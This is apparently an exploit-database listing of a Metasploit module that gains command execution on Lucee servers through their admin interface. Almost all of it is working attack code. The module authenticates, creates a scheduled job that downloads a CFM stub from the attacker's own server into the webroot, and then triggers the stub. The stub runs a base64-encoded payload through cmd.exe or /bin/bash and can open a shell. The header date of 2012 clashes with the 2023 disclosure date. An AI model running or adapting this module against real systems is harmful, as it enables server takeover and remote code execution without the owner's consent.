1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 |
# Exploit Title: Lucee Scheduled Job v1.0 -Command Execution # Date: 3-23-2012 # Exploit Author: Alexander Philiotis # Vendor Homepage: https://www.lucee.org/ # Software Link: https://download.lucee.org/ # Version: All versions with scheduled jobs enabled # Tested on: Linux - Debian, Lubuntu & Windows 10 # Ref : https://www.synercomm.com/blog/scheduled-tasks-with-lucee-abusing-built-in-functionality-for-command-execution/ ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Retry include Msf::Exploit::FileDropper require 'base64' def initialize(info = {}) super( update_info( info, 'Name' => 'Lucee Authenticated Scheduled Job Code Execution', 'Description' => %q{ This module can be used to execute a payload on Lucee servers that have an exposed administrative web interface. It's possible for an administrator to create a scheduled job that queries a remote ColdFusion file, which is then downloaded and executed when accessed. The payload is uploaded as a cfm file when queried by the target server. When executed, the payload will run as the user specified during the Lucee installation. On Windows, this is a service account; on Linux, it is either the root user or lucee. }, 'Targets' => [ [ 'Windows Command', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Type' => :windows_cmd } ], [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd } ] ], 'Author' => 'Alexander Philiotis', # aphiliotis@synercomm.com 'License' => MSF_LICENSE, 'References' => [ # This abuses the functionality inherent to the Lucee platform and # thus is not related to any CVEs. # Lucee Docs ['URL', 'https://docs.lucee.org/'], # cfexecute & cfscript documentation ['URL', 'https://docs.lucee.org/reference/tags/execute.html'], ['URL', 'https://docs.lucee.org/reference/tags/script.html'], ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ # /opt/lucee/server/lucee-server/context/logs/application.log # /opt/lucee/web/logs/exception.log IOC_IN_LOGS, ARTIFACTS_ON_DISK, # ColdFusion files located at the webroot of the Lucee server # C:/lucee/tomcat/webapps/ROOT/ by default on Windows # /opt/lucee/tomcat/webapps/ROOT/ by default on Linux ] }, 'Stance' => Msf::Exploit::Stance::Aggressive, 'DisclosureDate' => '2023-02-10' ) ) register_options( [ Opt::RPORT(8888), OptString.new('PASSWORD', [false, 'The password for the administrative interface']), OptString.new('TARGETURI', [true, 'The path to the admin interface.', '/lucee/admin/web.cfm']), OptInt.new('PAYLOAD_DEPLOY_TIMEOUT', [false, 'Time in seconds to wait for access to the payload', 20]), ] ) deregister_options('URIPATH') end def exploit payload_base = rand_text_alphanumeric(8..16) authenticate start_service({ 'Uri' => { 'Proc' => proc do |cli, req| print_status("Payload request received for #{req.uri} from #{cli.peerhost}") send_response(cli, cfm_stub) end, 'Path' => '/' + payload_base + '.cfm' } }) # # Create the scheduled job # create_job(payload_base) # # Execute the scheduled job and attempt to send a GET request to it. # execute_job(payload_base) print_good('Exploit completed.') # # Removes the scheduled job # print_status('Removing scheduled job ' + payload_base) cleanup_request = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path), 'vars_get' => { 'action' => 'services.schedule' }, 'vars_post' => { 'row_1' => '1', 'name_1' => payload_base.to_s, 'mainAction' => 'delete' } }) if cleanup_request && cleanup_request.code == 302 print_good('Scheduled job removed.') else print_bad('Failed to remove scheduled job.') end end def authenticate auth = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => true, 'vars_post' => { 'login_passwordweb' => datastore['PASSWORD'], 'lang' => 'en', 'rememberMe' => 's', 'submit' => 'submit' } }) unless auth fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end unless auth.code == 200 && auth.body.include?('nav_Security') fail_with(Failure::NoAccess, 'Unable to authenticate. Please double check your credentials and try again.') end print_good('Authenticated successfully') end def create_job(payload_base) create_job = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => true, 'vars_get' => { 'action' => 'services.schedule', 'action2' => 'create' }, 'vars_post' => { 'name' => payload_base, 'url' => get_uri.to_s, 'interval' => '3600', 'start_day' => '01', 'start_month' => '02', 'start_year' => '2023', 'start_hour' => '00', 'start_minute' => '00', 'start_second' => '00', 'run' => 'create' } }) fail_with(Failure::Unreachable, 'Could not connect to the web service') if create_job.nil? fail_with(Failure::UnexpectedReply, 'Unable to create job') unless create_job.code == 302 print_good('Job ' + payload_base + ' created successfully') job_file_path = file_path = webroot fail_with(Failure::UnexpectedReply, 'Could not identify the web root') if job_file_path.blank? case target['Type'] when :unix_cmd file_path << '/' job_file_path = "#{job_file_path.gsub('/', '//')}//" when :windows_cmd file_path << '\\' job_file_path = "#{job_file_path.gsub('\\', '\\\\')}\\" end update_job = send_request_cgi({ 'method' => 'POST', 'uri' => target_uri.path, 'keep_cookies' => true, 'vars_get' => { 'action' => 'services.schedule', 'action2' => 'edit', 'task' => create_job.headers['location'].split('=')[-1] }, 'vars_post' => { 'name' => payload_base, 'url' => get_uri.to_s, 'port' => datastore['SRVPORT'], 'timeout' => '50', 'username' => '', 'password' => '', 'proxyserver' => '', 'proxyport' => '', 'proxyuser' => '', 'proxypassword' => '', 'publish' => 'true', 'file' => "#{job_file_path}#{payload_base}.cfm", 'start_day' => '01', 'start_month' => '02', 'start_year' => '2023', 'start_hour' => '00', 'start_minute' => '00', 'start_second' => '00', 'end_day' => '', 'end_month' => '', 'end_year' => '', 'end_hour' => '', 'end_minute' => '', 'end_second' => '', 'interval_hour' => '1', 'interval_minute' => '0', 'interval_second' => '0', 'run' => 'update' } }) fail_with(Failure::Unreachable, 'Could not connect to the web service') if update_job.nil? fail_with(Failure::UnexpectedReply, 'Unable to update job') unless update_job.code == 302 || update_job.code == 200 register_files_for_cleanup("#{file_path}#{payload_base}.cfm") print_good('Job ' + payload_base + ' updated successfully') end def execute_job(payload_base) print_status("Executing scheduled job: #{payload_base}") job_execution = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path), 'vars_get' => { 'action' => 'services.schedule' }, 'vars_post' => { 'row_1' => '1', 'name_1' => payload_base, 'mainAction' => 'execute' } }) fail_with(Failure::Unreachable, 'Could not connect to the web service') if job_execution.nil? fail_with(Failure::Unknown, 'Unable to execute job') unless job_execution.code == 302 || job_execution.code == 200 print_good('Job ' + payload_base + ' executed successfully') payload_response = nil retry_until_truthy(timeout: datastore['PAYLOAD_DEPLOY_TIMEOUT']) do print_status('Attempting to access payload...') payload_response = send_request_cgi( 'uri' => '/' + payload_base + '.cfm', 'method' => 'GET' ) payload_response.nil? || (payload_response && payload_response.code == 200 && payload_response.body.exclude?('Error')) || (payload_response.code == 500) end # Unix systems tend to return a 500 response code when executing a shell. Windows tends to return a nil response, hence the check for both. fail_with(Failure::Unknown, 'Unable to execute payload') unless payload_response.nil? || payload_response.code == 200 || payload_response.code == 500 if payload_response.nil? print_status('No response from ' + payload_base + '.cfm' + (session_created? ? '' : ' Check your listener!')) elsif payload_response.code == 200 print_good('Received 200 response from ' + payload_base + '.cfm') output = payload_response.body.strip if output.include?("\n") print_good('Output:') print_line(output) elsif output.present? print_good('Output: ' + output) end elsif payload_response.code == 500 print_status('Received 500 response from ' + payload_base + '.cfm' + (session_created? ? '' : ' Check your listener!')) end end def webroot res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) }) return nil unless res res.get_html_document.at('[text()*="Webroot"]')&.next&.next&.text end def cfm_stub case target['Type'] when :windows_cmd <<~CFM.gsub(/^\s+/, '').tr("\n", '') <cfscript> cfexecute(name="cmd.exe", arguments="/c " & toString(binaryDecode("#{Base64.strict_encode64(payload.encoded)}", "base64")),timeout=5); </cfscript> CFM when :unix_cmd <<~CFM.gsub(/^\s+/, '').tr("\n", '') <cfscript> cfexecute(name="/bin/bash", arguments=["-c", toString(binaryDecode("#{Base64.strict_encode64(payload.encoded)}", "base64"))],timeout=5); </cfscript> CFM end end end |